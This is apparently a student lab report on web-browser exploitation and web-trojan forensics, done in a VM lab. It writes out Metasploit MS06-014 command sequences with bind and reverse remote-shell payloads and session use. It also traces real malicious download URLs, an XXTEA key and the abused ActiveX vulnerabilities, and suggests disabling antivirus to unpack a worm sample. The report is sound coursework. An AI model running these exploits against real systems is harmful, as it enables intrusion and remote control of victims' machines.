一、实践内容

1、web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤: ①选择使用Metasploit中的MS06-014渗透攻击模块;

②选择PAYLOAD为任意远程Shell连接;

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本;

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL;

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。 2、取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址;

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/。 哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件;

③如果解密出的地址给出的是网页或脚本文件,请继续解密;

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试;

⑤重复以上过程直到这些文件被全部分析完成。 3、攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

二、实践过程

1、web浏览器渗透攻击

虚拟机IPKali192.168.200.7windows xp192.168.200.3

首先查询一下Kali与 WinXP的IP地址

测试Kali和windows xp之间的连通性

在Kali中输入命令“sudo su” 进入根权限,之后输入命令“msfconsole”,打开Metasploit

使用命令“search MS06-014”,寻找Metasploit中的MS06-014漏洞

利用命令“use exploit/windows/browser/ie_createobject”,使用查询到的模块进行攻击、命令“set payload windows/shell/bind_tcp”选中本次攻击使用的payload、命令“set lhost 192.168.200.65”设置攻击者ip,并利用命令“set SRVPORT 80”与“set URIPATH /”设置实验的参数

利用命令“show options”查看是否正确设置好参数

利用命令“exploit”发动攻击

在Winxp中打开浏览器,输入攻击时构建的ip地址192.168.200.65,得到结果如下

利用命令“sessions 1”提取一个会话,可以发现进入了winxp的shell,输入ipconfig可以得到相同反馈,攻击成功

2、取证分析实践—网页木马攻击场景分析

(1)首先我们应该访问实验指导书中给出的 start.html 文件,但考虑到这个文件中包含了new09.htm是恶意网站的入口,我们不直接在浏览器中打开它,而把它下载下来。下载以后用记事本打开,搜索“new09.htm”,找到两处

(2)从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径,所以new09.htm 文件与 start.html 文件在同一目录下。同样,下载下来并用记事本打开,可以发现引用两个文件,一个是http://aa.18dd.net/aa/kl.htm 文件,另一个是 http://js.users.51.la/1299644.js 文件

(3)分别对它们作 MD5 散列

(4)在文件夹中分别找上述对应Hash值的文件,并打开,可以发现, 第一个文件23180a42a2ff1192150231b44ffdf3d3 中的内容不是我们要找的,第二个文件看起很复杂看起来像我们要找的文件

(5)第二个文件的内容看起来很复杂,但实际上这是一种被称为XXTEA+Base64 的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。我们发现加密密钥为:t=utf8to16(xxtea_decrypt(base64decode(t), ‘\x73\x63\x72\x69\x70\x74’));

(6)xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。这里简单地使用了 16 进制加密。我进行在线转换一下,可以得到密钥是“script”

(7)我们将密钥输入,对上述文件进行解密 ,可以看到是16进制的文本文档

(8)在十六进制转换为字符的在线网站中输入上文中引号的内容,进行转换,可以得到如下代码。可以发现其中主要包含的漏洞为:微软数据库访问对象“Adodb.Stream”、暴风影音“MPS.StormPlayer”、PPStream 漏洞“POWERPLAYER.PowerPlayerCtrl.1”和百度搜霸“BaiduBar.Tool”,其中还包含了三个js文件和一个压缩包。这些都是现在网络用户使用非常频繁的软件,其危害性可见一斑

(9)获取四个漏洞对应引用的四个文件的md5散列值

http://aa.18dd.net/aa/1.js 的md5值为:5D7E9058A857AA2ABEE820D5473C5FA4

http://aa.18dd.net/aa/b.js 的md5值为:3870C28CC279D457746B3796A262F166

http://aa.18dd.net/aa/pps.js 的md5值为:5F0B8BF0385314DBEOE5EC95E6ABEDC2

http://down.18dd.net/bb/bd.cab 的md5值为: 1C1D7B3539A617517C49EEE4120783B2

(10)在hashed文件夹中依次找到这四个文件

http://aa.18dd.net/aa/1.js(5D7E9058A857AA2ABEE820D5473C5FA4):可以发现是16进制文件

将其中的十六进制部分转化为文本后得到以下结果,可以发现该文件下载了http://down.18dd.net/bb/014.exe程序

http://aa.18dd.net/aa/b.js(3870C28CC279D457746B3796A262F166):分析得到该文件使用了packed加密

在http://matthewfl.com/unPacker.html网址进行解密,可以发现其中包含shellcode需要寻找对应的URL

我们可以看到关键字shellcode,根据参考文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为http://down.18dd.net/bb/bf.exe

http://aa.18dd.net/aa/pps.js (5F0B8BF0385314DBEOE5EC95E6ABEDC2):发现该文件采用8进制的加密方法

将8进制文件进行转换成字符串后得到如下结果,然后跟之前的操作一样,同样有shellcode,于是我们用相同的方法得到其中包含的URL:http://down.18dd.net/bb/pps.exe

http://down.18dd.net/bb/bd.cab(1C1D7B3539A617517C49EEE4120783B2):发现是一个压缩文件,在虚拟机中解压后可以得到一个bd.exe文件

同上一个解密方法一样,可以得到可执行文件http://down.18dd.net/bb/pps.exe 接下来对以上得到的链接计算相应的MD5值: http://down.18dd.net/bb/014.exe :ca4e4a1730b0f69a9b94393d9443b979 http://down.18dd.net/bb/bf.exe%EF%BC%9A 268cbd59fbed235f6cf6b41b92b03f8e http://down.18dd.net/bb/pps.exe :ff59b3b8961f502289c1b4df8c37e2a4 在资源中找到对应的文件,可以发现四个文件的大小相同。并且在kali中计算上述文件对应的md5值,发现结果一摸一样,那么可以推测四个文件的内容一摸一样。所以我们只需要看其中一个即可,在IDA反汇编中打开四个文件中的一个

其中包含从各种URL下载各种木马

其中包含“允许”,“允许执行”等操作,表明该程序能够避免系统对其的一些防护

3、攻防对抗实践—web浏览器渗透攻击攻防

本次实验由我和谭舜聪同学共同完成

3.1 攻击 攻击方:kali(192.168.31.49) 防守方:win2k(192.168.31.156)

(1)输入msfconsole命令,进入控制台

 

(2)输入search ms06-014命令,查找将使用的漏洞所对应的模块;易知模块编号为0;

(3)输入指令: use 0,使用该漏洞模块; 输入指令:set payload generic/shell_reverse_tcp,选择攻击载荷进行反向tcp链接,主动攻击; 输入:set RHOST 172.20.31.156,配置靶机; 输入:set LHOST 172.20.31.49,配置攻击机;

(4)输入指令:exploit,进行渗透攻击;可以得到含有木马的网络链接:http://192.168.31.49:8080/iUPWXPbtq;随后诱导靶机打开该链接,则攻击完成。

(5)输入指令:sessions -i 1,打开回话;并输入ipconfig进行检验,可知攻击成功;

3.2 防守

攻击方:kali(192.168.31.148) 防守方:win2k(192.168.31.96)

(1)在靶机中打开该地址,浏览器显示一串字符

(2)查看源代码可以看懂语句之间存在很多空格,需要对其进行压缩

(3)压缩网站为:https://www.bejson.com/jshtml_format/?_t=t,压缩后的结果如图所示,我们可以看到这个恶意代码调用了document.location运行攻击载荷,并且附带了一个可执行文件tjTIQCYxcl.exe

三、学习中遇到的问题及解决

问题:在http://down.18dd.net/bb/bd.cab(1C1D7B3539A617517C49EEE4120783B2)中打开发现是一个压缩文件,在解压的过程中,电脑里的火绒会自动将其视为蠕虫病毒,直接删除

解决方案:可以先关闭火绒杀毒软件在进行解压操作,也可以在虚拟机里进行解压

四、实践总结

通过本次实验,我学习了如何构造漏洞,了解了web浏览器渗透攻击与防御。本次实验的内容很多,步骤很琐碎,感觉难度也很大,花了很大一部分时间去理解原理、解决问题,但一整个实验做下来之后,感觉思路逐渐清晰,心情很舒畅!

文章来源

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。